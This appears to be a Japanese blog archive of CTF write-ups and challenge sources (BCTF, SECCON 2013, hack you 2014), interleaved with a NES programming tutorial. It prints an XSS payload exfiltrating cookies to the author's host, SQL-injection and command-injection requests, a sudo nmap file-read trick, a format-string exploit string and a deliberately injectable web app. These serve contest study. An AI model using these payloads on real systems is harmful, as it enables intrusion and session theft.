CTF各位2

blacklist (web 10)

running at ctf.katsudon.org:5001

use Mojolicious::Lite;
use DBI;

# enjoy~
my $BLACKLIST_CHAR = qr/['"`=]/;
my $BLACKLIST_WORD = qr/select|insert|update|from|where|order|union|information_schema/;

my $dbh = DBI->connect('dbi:mysql:blacklist', 'blacklist', $ENV{BLACKLIST_PASSWORD});
helper dbh => sub { $dbh };

get '/' => sub {
    my $self = shift;
    my $ip = $self->tx->remote_address;
    my $agent = $self->req->headers->user_agent;
    $self->dbh->do(
        "INSERT INTO access_log (accessed_at, agent, ip) VALUES (NOW(), '$agent', '$ip')"
    );
    my $access = $self->dbh->selectall_arrayref(
        "SELECT * FROM access_log WHERE ip = '$ip' ORDER BY accessed_at DESC LIMIT 10",
        {Slice => {}}
    );
    return $self->render('index', ip => $ip, access => $access);
};

get '/search' => sub {
    my $self = shift;
    my $ip = $self->param('ip');
    $ip =~ s/$BLACKLIST_CHAR//g;
    $ip =~ s/$BLACKLIST_WORD//g;
    my $id = $self->param('id');
    $id =~ s/$BLACKLIST_CHAR//g;
    $id =~ s/$BLACKLIST_WORD//g;
    my ($agent) = $self->dbh->selectrow_array(
        "SELECT agent FROM access_log WHERE ip = '$ip' AND id = '$id'",
        {Slice => {}}
    );
    if ($agent) {
        $agent =~ s/$BLACKLIST_CHAR//g;
        $agent =~ s/$BLACKLIST_WORD//g;
        my $access = $self->dbh->selectall_arrayref(
            "SELECT * FROM access_log WHERE ip = '$ip' AND agent LIKE '$agent' ORDER BY accessed_at DESC LIMIT 10",
            {Slice => {}}
        );
        return $self->render('search', agent => $agent, access => $access);
    } else {
        return $self->render_not_found;
    }
};

get '/source' => sub {
    my $self = shift;
    my $src = do {
        open my $fh, '<', __FILE__ or die $!;
        local $/; <$fh>;
    };
    return $self->render(text => $src, format => 'txt');
};

app->start;

__DATA__
@@ index.html.ep
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>blacklist</title>
</head>
<body>
    <p>sqli, sqli, sqli~~~ we have blacklist. see <a href="/source">source</a>.</p>
    <h2><%= stash 'ip' %>:</h3>
    <ul>
    % my $access = stash 'access';
    % for (@$access) {
        <li>[<%= $_->{accessed_at} %>] "<%= $_->{agent} %>" <a href="<%== url_for('/search')->query(ip => $_->{ip}, id => $_->{id}) %>">search</a></li>
    % }
    </ul>
</body>
</html>

@@ search.html.ep
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>blacklist</title>
</head>
<body>
    <h2>search with "<%= stash 'agent' %>"</h3>
    <ul>
    % for (@$access) {
        <li>[<%= $_->{accessed_at} %>] "<%= $_->{agent} %>"</li>
    % }
    </ul>
</body>
</html>

@@ not_found.html.ep
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>not found</title>
    <style>body{font-size:64px;}</style>
</head>
<body>
    <pre>             _      __                       _
 _ __   ___ | |_   / _| ___  _   _ _ __   __| |
| '_ \ / _ \| __| | |_ / _ \| | | | '_ \ / _` |
| | | | (_) | |_  |  _| (_) | |_| | | | | (_| |_ _ _
|_| |_|\___/ \__| |_|  \___/ \__,_|_| |_|\__,_(_|_|_)</pre>
</body>
</html>

2014年だけどファミコンのゲームを作りませんか? #1

ゲームを作ろうと思い立ったはいいものの、何から始めればいいんだろう…。cocos2d-xでスマホゲームを作る?Unityで3Dバリバリのゲームを作る?いまいちパッとしませんね。そうです、なんだか複雑すぎるのです。
そんなあなたにピッタリなのがファミコンのゲームです。もう30年前のハードですから、きっと単純ですって。たぶん。だって8ビットですよ。

環境構築

今回はOS Xで開発をすることにします。まずはアセンブラコンパイラを準備します。

アセンブラはnesasmを使います。オブログ — なあ藤村くんファミコンプログラミングをやろうじゃないか[1]を参考にmakeしてください。
コンパイラはcc65を使います。なぜコンパイラも準備するかというと、まだできる限りアセンブラを書きたくないからです。簡単なほうがいいですよね :)

% brew install cc65

とりあえず動くものを書いてみる

ビルド手順はライブラリ使用例 - cc65 @ wiki - アットウィキを参考にしてください。

まずはBGにチェック模様を描いてみます。

#define REGIST_PPU_CTRL1 (char *)0x2000
#define REGIST_PPU_CTRL2 (char *)0x2001
#define REGIST_PPU_STS   (char *)0x2002
#define REGIST_SPR_ADR   (char *)0x2003
#define REGIST_SPR_GRA   (char *)0x2004
#define REGIST_SCROLL    (char *)0x2005
#define REGIST_ADR       (char *)0x2006
#define REGIST_GRA       (char *)0x2007
#define REGIST_DMA       (char *)0x4014

void NesMain(void) {
    int i, j;
    byte v_stat, h_stat;

    const char palettebg[] = {
        0x0f, 0x11, 0x21, 0x30,
        0x0f, 0x11, 0x21, 0x30,
        0x0f, 0x11, 0x21, 0x30,
        0x0f, 0x11, 0x21, 0x30
    };

    while (!(*REGIST_PPU_STS & 0x80));
    *REGIST_PPU_CTRL1 = 0x00;
    *REGIST_PPU_CTRL2 = 0x00;

    *REGIST_ADR = 0x3f;
    *REGIST_ADR = 0x00;
    for (i = 0; i < 16; i++) {
        *REGIST_GRA = *(palettebg + i);
    }

    *REGIST_ADR = 0x20;
    *REGIST_ADR = 0x0;

    v_stat = h_stat = 1;
    for (i = 0; i < 30; i++) {
        for (j = 0; j < 32; j += 4) {
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            h_stat = h_stat ? 0 : 1;
        }
        if (i % 4 == 0) {
            h_stat = h_stat ? 0 : 1;
        }
    }

    *REGIST_PPU_CTRL1 = 0x0;
    *REGIST_PPU_CTRL2 = 0x1e;

    while (1);
}

void NMIProc(void) {
}

ファミコンでBGを描画するにはまずネームテーブルに書き込む必要があります。0x2000-0x2007がPPUのI/Oレジスタです。PPUメモリデータ(0x2007)にパターンテーブル番号を書き込むことでネームテーブルに書き込むことができます。*1
f:id:akiym:20140502220154p:plain
ファミコンの画面は1枚あたり8x8のタイルパターンが32x30個あります。*2 4x4の四角を配置しましたが、縦横の比率が異なるため、上下に余りがあります。この画面を複製してスクロールさせる場合、4x4の四角ができない部分ができてしまいます。もう少し工夫が必要みたいです。
f:id:akiym:20140502212328p:plain

次は画面をスクロールさせてみます。

void NesMain(void) {
    int i, j;
    byte v_stat, h_stat;
    byte bgx = 0, bgy = 0;

    const char palettebg[] = {
        0x0f, 0x11, 0x21, 0x30,
        0x0f, 0x11, 0x21, 0x30,
        0x0f, 0x11, 0x21, 0x30,
        0x0f, 0x11, 0x21, 0x30
    };

    while (!(*REGIST_PPU_STS & 0x80));
    *REGIST_PPU_CTRL1 = 0x00;
    *REGIST_PPU_CTRL2 = 0x00;

    *REGIST_ADR = 0x3f;
    *REGIST_ADR = 0x00;

    for (i = 0; i < 16; i++) {
        *REGIST_GRA = *(palettebg + i);
    }

    *REGIST_ADR = 0x20;
    *REGIST_ADR = 0x0;

    v_stat = h_stat = 1;
    for (i = 0; i < 30; i++) {
        for (j = 0; j < 32; j += 4) {
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            h_stat = h_stat ? 0 : 1;
        }
        if (i % 4 == 0) {
            h_stat = h_stat ? 0 : 1;
        }
    }

    *REGIST_ADR = 0x24;
    *REGIST_ADR = 0x0;

    v_stat = h_stat = 1;
    for (i = 0; i < 30; i++) {
        for (j = 0; j < 32; j += 4) {
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            h_stat = h_stat ? 0 : 1;
        }
        if (i % 4 == 0) {
            h_stat = h_stat ? 0 : 1;
        }
    }

    *REGIST_PPU_CTRL1 = 0x0;
    *REGIST_PPU_CTRL2 = 0x1e;

    while (1) {
        while (!(*REGIST_PPU_STS & 0x80));
        *REGIST_SCROLL = bgx;
        *REGIST_SCROLL = bgy;
        *REGIST_DMA = 0x07;

        bgx++;
        if (bgx == 255) bgx = 0;
        bgy++;
        if (bgy == 240) bgy = 0;
    }
}

最後にスプライトを表示させて完成です。ちゃんと円を描くようにしてみました。
f:id:akiym:20140502213645p:plain

書き殴ったものをここにおいておきます。
GitHub - akiym/nes-circle: exapmle #1

ところでまだコントローラーを握っていませんね。まだまだ長い道のりになりそうです…。

CTF各位1

10guess (crypto 10)

running at ctf.katsudon.org:5555

package main

import (
	"bufio"
	cr "crypto/rand"
	"crypto/rsa"
	"fmt"
	"log"
	"math/big"
	"math/rand"
	"net"
	"strconv"
)

var seed int64 = ?????

func handleConnection(conn net.Conn) {
	log.Printf("connect: %s", conn.RemoteAddr())
	defer func() {
		log.Printf("close: %s", conn.RemoteAddr())
		conn.Close()
	}()

	priv, err := rsa.GenerateKey(cr.Reader, 2048)
	if err != nil {
		return
	}
	e := big.NewInt(int64(priv.E))

	conn.Write([]byte(fmt.Sprintf("N=%s\n", priv.N.String())))
	conn.Write([]byte(fmt.Sprintf("E=%d\n", priv.E)))

	stage := 1
	reader := bufio.NewReader(conn)
	for {
		conn.Write([]byte(fmt.Sprintf("### %d/10\n", stage)))

		expected := int(rand.Intn(0x10000))

		// encrypt
		c := new(big.Int).Exp(big.NewInt(int64(expected)), e, priv.N)
		conn.Write([]byte("C=" + c.String() + "\nM="))

		ln, err := reader.ReadBytes('\n')
		if err != nil {
			return
		}
		n, err := strconv.Atoi(string(ln[:len(ln)-1]))
		if err != nil {
			return
		}
		if n != expected {
			stage = 0
			continue
		}

		stage++

		if stage > 10 {
			log.Printf("flag: %s", conn.RemoteAddr())
			conn.Write([]byte(fmt.Sprintf("congratz! the flag is: %x\n", seed)))
			return
		} else {
			continue
		}
	}
}

func main() {
	rand.Seed(seed)

	ln, err := net.Listen("tcp", ":5555")
	if err != nil {
		log.Fatal(err)
	}

	for {
		conn, err := ln.Accept()
		if err != nil {
			continue
		}
		go handleConnection(conn)
	}
}

BCTF writeup: web100, 200, 300

今週末のCTF - てっじーの丸出しを見て、BCTFというのがあるらしいのを知ったのでちょっとだけやってみた。Baiduがスポンサーらしい。しかし、登録から問題文まで全面中国語なのでGoogle翻訳で乗り切ることに。
問題自体は英語で、ほとんど中国語がなかったのが助かったが、web以外はよくわからなかったので放置。
全体的に見て、無駄なことをさせることが多いというか、意味ないような手探りをさせる部分があったのが残念(webの問題に限って言っている)。

web100

f:id:akiym:20140311221836p:plain

ページにアクセスしてみると、タイトルに"Find a person whose name is Alice."とある。

H.shaoのページは"index.php?id=e958c26cb69fb763faeb2849076d78f4"。このidを検索してみるとは"H.shao545"をMD5ハッシュ値を計算したものだとわかる。したがって、"Alice\d{3}"
総当たりすると、"Alice478"のMD5ハッシュ値である、"d482f2fc6b29a4605472369baf8b3c47"が正解だった。

Hi! Alice
Personal Information:d4b2758da0205c1e0aa9512cd188002a.php

と表示されたので、d4b2758da0205c1e0aa9512cd188002a.phpにアクセス。

error<html>
	<head><title>BT5</title></head>
	<body style="background-position:center;background-color:black;background-image: url(./bt5.jpg);background-repeat:no-repeat;">
		<!--  $_POST['key=OUR MOTTO'] -->
	</body>
</html>

BackTrackの画像が表示された。$_POST['key=OUR MOTTO']と書かれているので、BackTrackのモットーをkeyとしてPOSTした。
この部分、最初はよくわからずに混乱していた。こういうのは何も面白くないし、いらない。

% curl -F key="The quieter you become the more you are able to hear" http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/d4b2758da0205c1e0aa9512cd188002a.php

flag-in-config.php.bakと表示されるのでアクセスしてみる。はぁ、という感じ。

f:id:akiym:20140311222008p:plain

flag-in-config.php.bakなので、config.php.bakにアクセスしてみる。

[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])...

とあるので、すぐにJavaScriptだということがわかる。実行させるだけでflagが出力される。

BCTF{Do_you_l0v3_pl4y_D074}

全体的に意味のないことをさせる問題だった。

web200

f:id:akiym:20140311222029p:plain

中央のボタンをクリックすると、"You must login at host computer"と言われる。auth.phpにipというパラメータを渡しているのでそこに127.0.0.1を入れるだけだった。すると、Basic認証でユーザー名とパスワードを要求される。admin:adminでログインすることができた。(こういうのもいらない)

f:id:akiym:20140311222423p:plain

ゲームで遊んでみると、敵が異常に強いので進めない。適当なところにブレークポイントを仕掛けて、体力を増やして進んでみると、ゴールがある。ゴールの時点で敵を10匹倒していればflagが表示される。
flagの生成方法自体、とても簡単なものなのでゲームで遊ばなくてもいい。

f:id:akiym:20140311222434p:plain

BCTF{34079%2500|abcdefabcd}

web300

f:id:akiym:20140311222532p:plain

<!--<form class="form-signin" action="test.php.bak">-->

コメントアウトされているため、test.php.bakを見てみる。

<?php
#$key = $_GET['key'];
#$room = $_GET['room'];
#
#if(strlen($key) != 15)
#{
#   echo "The Key is Error\n";
#   exit(1);
#}
#if(strlen($room) > 14)
#{
#   echo "The room num is too long\n";
#   exit(1);
#}
#
#$regex = "/[\w]{0,4}.[\W\d]{0,4}[A-F]{2}[\W\d]{2}[\d]{0,4}/i";
#
#$substitution = array(
#   "&" => '',
#   "`" => '',
#   "\n" => '',
#   "\r" => '',
#   ......
#);
#
#if(preg_match($regex, $key))
#{
#   if($key <= 40)
#   {
#       $room = str_replace(array_keys($substitution), $substitution, $room);
#       shell_exec('./room'.$room);
#   }
#}
#
#echo "The key is Error\n";
?>

また、http://218.2.197.239:1337/9b30611986fe1822304bdc98fa317cde123/web300/roomにtest.php.bakで使われていると思われるroomがある。

% file room
room: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xaf7bca965784d10720a0479a207dc53f9635fb83, not stripped
% ./room
Input room number
% ./room 1
The Room(1) password is 1804289383
% ./room a
The Room(0) password is 1804289383

以下のような動きをする。

  • 引数に渡されたものがatoi()で変換できない長さが10の文字列であれば変換される
  • その変換した文字列と"D_kbwqj_fs"を比較し、同じであればstatus codeを255で返す
  • 文字列の変換は単純でASCIIをずらしているだけなので、変換元の文字列は"Baidushadu"だとわかる
% gdb room
(gdb) b *0x40097f
Breakpoint 1 at 0x40097f
(gdb) r aaaaaaaaaa
Starting program: /home/akiym/room aaaaaaaaaa

Breakpoint 1, 0x000000000040097f in main ()
(gdb) x/s $rsi
0x7fffffffe810: "D_kbwqj_fs"
(gdb) x/s $rdi
0x7fffffffe820: "c_c_c_c_c_"
(gdb) r bbaaaaaaaa
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/akiym/room bbaaaaaaaa

Breakpoint 1, 0x000000000040097f in main ()
(gdb) x/s $rdi
0x7fffffffe820: "d`c_c_c_c_"

status codeが255なので、||のあとにコマンドを渡して実行することができる。文字数制限があるので、2文字が限界。
lsするだけでいい: http://218.2.197.239:1337/9b30611986fe1822304bdc98fa317cde123/web300/query.php?key=AA.0000AA001111&room=Baidushadu||ls

<pre>Room pro is broken!!!</pre><pre>Baidushadu||ls</pre><pre>BCTF{Yooooo_4_God_sake_aay_is_so_C00l}
bootstrap.css
index.html
query.php
query1234567890qwertyuiop.php.bak
query_qwertyuiopsads.php
robots.txt
room
signin.css
test.php.bak
</pre>

3番目に解いていたらしい。
f:id:akiym:20140311223053p:plain

SECCON 2013 全国大会 writeup

3/1, 2に行われたSECCON 2013 全国大会にdodododoとして参加してきた。最終的なスコアは1261点で、順位はおそらく9位。やはりbinaryができる人がいないとつらいものがある :)

ルール

サーバが6つ用意されていて、塔にまつわる名前が付けられている。Korin、2.kaku、Pisa、Druaga、Babel、Hanoi。開始時点では前半3つのサーバが開放されていた。1日目の残り数分の時点ですべてのサーバが開放された。
サーバにいくつかのキーワードが隠されており、そのキーワードをサブミットすることで100pt獲得することができる。また、自分のチームのフラグワードをサーバの特定の場所に書き込むことで得点が数分毎に加算されていく。

ということで、以下writeup。

Korin

最初に4つのキーワードを奪取。そのおかげで、開始から1、2時間くらいは1位をキープできていた。(その後はずるずると順位が下がっていった…)

しかし妨害もできずに、さらにフラグワードを書き込むことができなかったので、他のチームに奪われてしまった。

stage1

ぱっと見た感じ、SQLiかXSSの問題だと思ったので試してみたところ、メール欄にXSSできることがわかった。以下のような内容を投げると自分のサーバにadminがアクセスしてくるので、セッションを奪うことができる。

"><script>location.href="http://192.168.7.5/?"+document.cookie</script><"@example.com
stage2

管理者としてログインすると、パスワードを要求される画面がある。ほかにも投稿された内容を見ることができる画面があるので、そこでSQLiすることができる。
HTMLのソースを見ると、by KeigoYAMAZAKIと書いてあるので、使われているRDBMSSQLiteだということがわかる。なので、何も考えずに以下のように投げるだけ。

GET /?action=view&id=%27%20union%20select%201,1,group_concat(sql)%20from%20sqlite_master--

CREATE TABLE contact (id, name, mail, honbun),CREATE TABLE nextLVpassword (str),CREATE TABLE zdummy (dummy)

GET /?action=view&id=%27%20union%20select%201,1,group_concat(str)%20from%20nextLVpassword--

kinako!!

stage3, stage4

ファイルがアップロードできるようになる。ここは@lmt_swallowがやってくれた。簡単にまとめると

  • stage3
    • jpgのみアップロードできると書いてあるが、a.jpg.phpのようなファイルがアップロードできるのでphpが実行できる
    • /home/stage4にMyPasswordIs"stage4PassWD"という名前のファイルがあり、sshでログインできるようになる
  • stage4
    • sudo -lするとnmapがユーザーstage5としてNOPASSWDで実行することができることがわかる
    • /usr/bin/nmap -iL /home/stage5/FLAGでファイルが読める

しかし、彼がやってくれた失態は/tmp以下にファイルを書き出すということだった。

# Nmap (V. nmap) scan initiated 2.53 as: /usr/bin/nmap -iL FLAG -o /tmp/output.txt
# Nmap run completed at Sat Mar  1 14:58:22 2014 -- 0 IP addresses (0 hosts up) scanned in 20 seconds

解法がそのまま書いてある。。色々と試しているうちにやってしまったみたいだった。(stage5の権限で書き出してしまったので、気づいたときには消せなかった)
SECCON CTF 2013 FINAL | やぎはしゅブログによると、このおかげでわかったらしい…。でもちょっと笑ってしまったので彼を許すことにする :)

作問者について

個人的にby KeigoYAMAZAKI問題は適度にやさしいのとやることが分かりやすいので好き。(山崎さん、ファンです :)
セキュリティキャンプ 2013のCTFでも同じようなKorinと同じような問題(山崎さん作問)があり、その問題だけで1400pt稼ぐことができたという話もある。

Pisa, Druaga

Pisaは面倒だったので、ほとんど何もしていない。

  • HTTP headerにキーワード
    • @lmt_swallowが開始直後(最速)に発見
  • 404ページの画像がランダムで切り替わり、404_0.pngから404_5.pngまで存在する
    • 404_4.pngのときのみのalt属性にKEY{hOneyToaStAtPOSTSCRIPT}が出てくる
    • もちろん、そのときの画像はハニートースト

Druagaはファイルを持ち帰って、眠いと言いながらやることにした。TrueCryptだとすぐ気づいたが、中身を見て面倒だと確信したのですぐに寝ることにした。(寝る前にスクリプトを書いて動かしていたが、起きて確認してみると案の定、間違えていた…)

Babel

pureserverのほうは、中身を見るとformat string attackすることで起動するコマンドを/bin/calから/bin/shに変えられることがわかった。

perl -e'print "\x70\x5c\x48\x23JUNK\x71\x5c\x48\x23JUNK\x72\x5c\x48\x23JUNK\x73\x5c\x48\x23"."%08x"x2 . "%132x%n%204x%n%202x%n%221x%n"'

あとはわからなかったので放置。

Hanoi

stage1

readfile.phpでindex.phpを見るとキーワードがコメント化されている。また、readfile.phpでreadfile.phpを見るとDEFCON 21のremembermeに似ているように見えるがちょっと違う。ここには何もない。

<?php
$filename = $_GET["filename"];
$accesscode = $_GET["accesscode"];
if (md5($filename) == $accesscode){
	echo "Access granted to $filename!";
	srand($value);
	if (in_array($filename, array('readfile.php', 'index.php', 'pass.txt', 'id.txt'))==TRUE){
		$data = file_get_contents($filename);
		if ($data !== FALSE) {
			echo nl2br($data);
			exit();
		}
	}
	echo "File does not exist";
}
else{
	echo "Invalid access code";
}
?>

stage2

stage2がどこにあるのかわからなく、時間がかかった。stage1のハノイの塔のgif画像に細工があり、これはDEFCON 20のgb200と同じ。(Routards Team Blog: Defcon 20 QUALS - Grab Bag 200)
10.100.6.3に対して10.100.6.1の逆引きをしていたが、逆引きしても手がかりになるようなものはなかった。ここで、@goldcardさんが10.100.6.2に2番目のサーバがあることを発見したので、アクセスしてみると、stage2のページがあった。

stage2はstage1のページに似ているがちょっと違う。ハノイの塔の画像にリンクされているkey.zipを解凍すればいいことがわかる。パスワードは/bin/menuのMD5ハッシュ値だと書かれていた。
また、readfile.phpの中身が変わっていて、menuというファイルが見れるようになっている。さらにDEFCON 21のremembermeとほぼ同じになっていたので、DEFCON CTF Quals 2013に参加した - ももいろテクノロジーを参考にスクリプトを書いた。

<?php

$data = ...;
$data = base64_decode($data);

$time = strtotime('Sun, 02 Mar 2014 03:47:41 GMT');

srand($time);
$key = rand();
$text = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC);

print $text;
?>

ここで生成されたmenuのMD5ハッシュ値を計算してみたが、key.zipが解凍できない。よくわからないが、menuに末尾に不要なNULLがくっついていたので取り除いてからMD5ハッシュ値を計算したところ解凍することができた。

stage3

stage2のハノイの塔の画像に対してbinwalkを使うと、jpeg画像が入ってることがわかる。取り出してみると、ユーザー名とパスワードが書かれた画像だったので、sshでログインすると、そこでmenuが動いている。@lmt_swallowによると11/bin/shを入力するとshellが動くらしい。サーバの中にpcapがあるので、その中身を@goldcardさんに見てもらったところ、http://10.100.6.1/src/login.phpでSquirrelMailが動いていて、ログイン画面があることがわかった。ユーザー名、パスワードはpcapに書いてあって、あとはログインするだけだったが、その時点で残り10秒ほどだったので諦めることにした。。

まとめ

参加者、運営の皆さんお疲れ様でした。
なかなか解けない問題もあったが十分楽しめた。去年の3月にCTFを知って、それからはずっとSECCON全国行きたいと思っていたのでとりあえず目標は達成ということで。
弱い分野がはっきりと分かれていて、binaryは手も出ない状況なのでなんとか打破しないといけない。

PHDays IV CTF Quals - Escape from Minecraft writeup

CTFでMinecraftの問題が出題されるとは…


f:id:akiym:20140127190847p:plain
マップを読み込むと、9つのボタンがあり、1から9までの数字が振られている。ある順番の通りに押すことで奥の開かないドアが開くみたいだ。
f:id:akiym:20140127190941p:plain
全景:
f:id:akiym:20140127191029p:plain
Minecraftではおなじみのレッドストーン回路が見える。手前が入力側で、奥が出力側。これをすべて読むのは折れるなぁと思っていたが…

入力

f:id:akiym:20140127191312p:plain
押したボタンの数字が入力される。画像は何も入力されていない状態。8であれば、

1
0
0
0

となる。

出力

f:id:akiym:20140127193537p:plain
大きく分けて回路が4つあり、それぞれの出力をAND回路(丸で囲んでいる場所)に入力している。すべての出力が1であればドアが開くことがわかる。
レッドストーン回路については テクニック/レッドストーン回路 - Minecraft Japan Wiki - アットウィキ に書いてある。
f:id:akiym:20140127194503p:plain
奥から入力された数字が入ってくる。あとはごちゃごちゃしてるけど、1か0かなのでどうなっているかの判断はつく。
出力部分をまとめた回路はこんなイメージ。[1]から[4]にかけて、ボタンを押して入力した数字がスライドしていく。実は一つずつ見てみると単純で、何も細工はなかった :)
f:id:akiym:20140127192811p:plain
つまり、3→5→4→9をボタンを押すことでドアが開く。
f:id:akiym:20140127194902p:plain
コードは3549。サーバにコードを送信するとflagが表示された。

7h1s_cr4ft_is_M1n3

hack you 2014 - Crypto writeup

Scoreboard :: hack you 2014
個人戦で、47位。まだまだ精進が足りない :)
Cryptoはすべて解けたので、writeupを残しておく。

Crypto 100: Easy one

msg002.encをdecryptする問題。
与えられているmsg001とmsg001.encをXORするとkeyが出てくる。あとはそのkeyを使ってdecryptするだけ。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
	if (argc != 3) {
		printf("USAGE: %s INPUT OUTPUT\n", argv[0]);
		return 0;
	}
	FILE* input  = fopen(argv[1], "rb");
	FILE* output = fopen(argv[2], "wb");
	if (!input || !output) {
		printf("Error\n");
		return 0;
	}
	char k[] = "VeryLongKeyYouWillNeverGuess";
	char c, p, t = 0;
	int i = 0, j;
	while ((p = fgetc(input)) != EOF) {
		for (j = 0; j <= 0xff; j++) {
			if (p == (char)(((char)j + (k[i % strlen(k)] ^ t) + i*i) & 0xff)) {
				printf("%c", j);
				fputc(j, output);
				t = j;
				break;
			}
		}
		i++;
	}
	return 0;
}

Crypto 200: Hashme

administratorになってログインする問題。ひとまず、SALTとKEYがわからないのでどうにかして推測できるかどうか試した。
サーバから生成されるcertはlogin=ユーザー名&role=anonymous + 独自のハッシュ関数(SALT + 'login=ユーザー名&role=anonymous')Base64でencodeしたものである。KEYの長さはわからないが元の文字列はわかっているので、XORすればKEYを求めることができる。
したがって、KEYからcertをdecodeすることができる。ユーザー名aのときのcertはRK5yZMJaZX5PA31AmkxS6EpnEjvimts6QZetHTjtkk80yzLYnr1pJ2gToW/wB1UaxNAR8HM8だったため、decodeするとlogin=a&role=anonymousc69cc6019d99985cb099247b5f1591f1になる。ハッシュ値は逆算することはできないが、ハッシュ関数('login=a&role=anonymous')としているため、ハッシュ関数の性質から元の文字列に任意の文字列を付加したものを計算することができる。SALTがわからなくてもハッシュ値を計算することができる。よってhashme('login=a&role=anonymous&role=administrator')を計算できれば良い。
しかし、hashme()でいうlがわからないがlは32通り。すべて試したところ、うまくいくcertが見つかった。

KEY = "\x28\xc1\x15\x0d\xac\x67\x04\x58\x3d\x6c\x11\x25\xa7\x2d\x3c\x87\x24\x1e\x7f\x54\x97\xe9\xb8\x0c\x78\xf4\xce\x2b\x08\xdc\xab\x2b\x0d\xf2\x0b\xe0\xab\xde\x0b\x17\x51\x2a\x93\x5b\xc7\x65\x60\x7c\xf5\xe5"

def myhashme(j):
    #my secure hash function
    def F(X,Y,Z):
        return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF
    def G(X,Y,Z):
        return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF
    def H(X,Y,Z):
        return (X ^ Y ^ Y) & 0xFFFFFFFF
    def I(X,Y,Z):
        return (Y ^ (~Z | X)) & 0xFFFFFFFF
    def ROL(X,Y):
        return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF

    B = 0xc69cc601
    A = 0x9d99985c
    D = 0xb099247b
    C = 0x5f1591f1

    X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]

    for ch in '&role=administrator':
        k, l = ord(ch), j & 0x1f
        A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
        B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
        C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
        D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF
        j += 1

    return ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))

for i in range(32):
    s = 'login=a&role=anonymous&role=administrator'
    s += myhashme(i)
    s = b64encode(xor(s, KEY))
    print s

Crypto 300: Matrix

flag.wmv.outをdecryptする問題。
keyとなる4x4の行列を逆算すれば良い。WMVのsignatureは30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C (16 bytes) なので逆算するには十分な長さである。cipher = data * keyよりkey = data.I * cipherである。つまりWMVのsignatureを逆行列にしたものを掛けることでkeyが求められる。あとはdecryptするだけ。

#!/usr/bin/python
import random
import numpy
from struct import *

def Str2matrix(s):
    #convert string to 4x4 matrix
    return [map(lambda x : ord(x), list(s[i:i+4])) for i in xrange(0, len(s), 4)]

def WStr2matrix(s):
    # 16 bytes
    matrix = []
    for i in xrange(0, len(s), 8):
        r = []
        for j in xrange(0, 8, 2):
            r.append(unpack('!H', s[i+j:i+j+2])[0])
        matrix.append(r)
    return matrix

def Matrix2str(m):
    #convert matrix to string
    return ''.join(map(lambda x : ''.join(map(lambda y : pack('!H', y), x)), m))

def Generate(password):
    #generate key matrix
    random.seed(password)
    return [[random.randint(0,64) for i in xrange(4)] for j in xrange(4)]

def Multiply(A,B):
    #multiply two 4x4 matrix
    C = [[0 for i in xrange(4)] for j in xrange(4)]
    for i in xrange(4):
        for j in xrange(4):
            for k in xrange(4):
                C[i][j] += A[i][k] * B[k][j]
    return C

data = open('flag.wmv.out', 'rb').read()

dec = "\x30\x26\xB2\x75\x8E\x66\xCF\x11\xA6\xD9\x00\xAA\x00\x62\xCE\x6C" # wmv
key = numpy.round(numpy.matrix(Str2matrix(dec)).I * numpy.matrix(WStr2matrix(data[4:4+32])).tolist())

out = open('flag.wmv', 'wb')
for i in xrange(4, len(data), 32):
    c = WStr2matrix(data[i:i+32]) * numpy.matrix(key).I
    m = Matrix2str(numpy.round(c.tolist()))
    d = ''
    for j in xrange(0, len(m), 2):
        d += m[j+1]
    out.write(d)

Crypto 400: CRYPTONET

RSA暗号の問題。packets.pcapの中身を見ると19回通信していて、おそらくすべて同じ内容(同一平文)である。
eが17かつ暗号文が17個以上あるため、中国の剰余定理でcを求めることができる。平文mを求めるには、cの17乗根を計算すれば良い。

def crt(A, M):
     Mprod = prod(M)
     Mdiv = map(lambda x: Integer(Mprod / x), M)
     X = map(inverse_mod, Mdiv, M)
     x = sum([A[i]*X[i]*Mdiv[i] for i in xrange(len(A))])
     return mod(x, Mprod).lift()

def n2s(n):
    s = hex(n)[2:].rstrip("L")
    if len(s) % 2 != 0:
        s = "0" + s
    return s.decode("hex")

c = [...]
n = [...]

print n2s(crt(c, n).nth_root(17))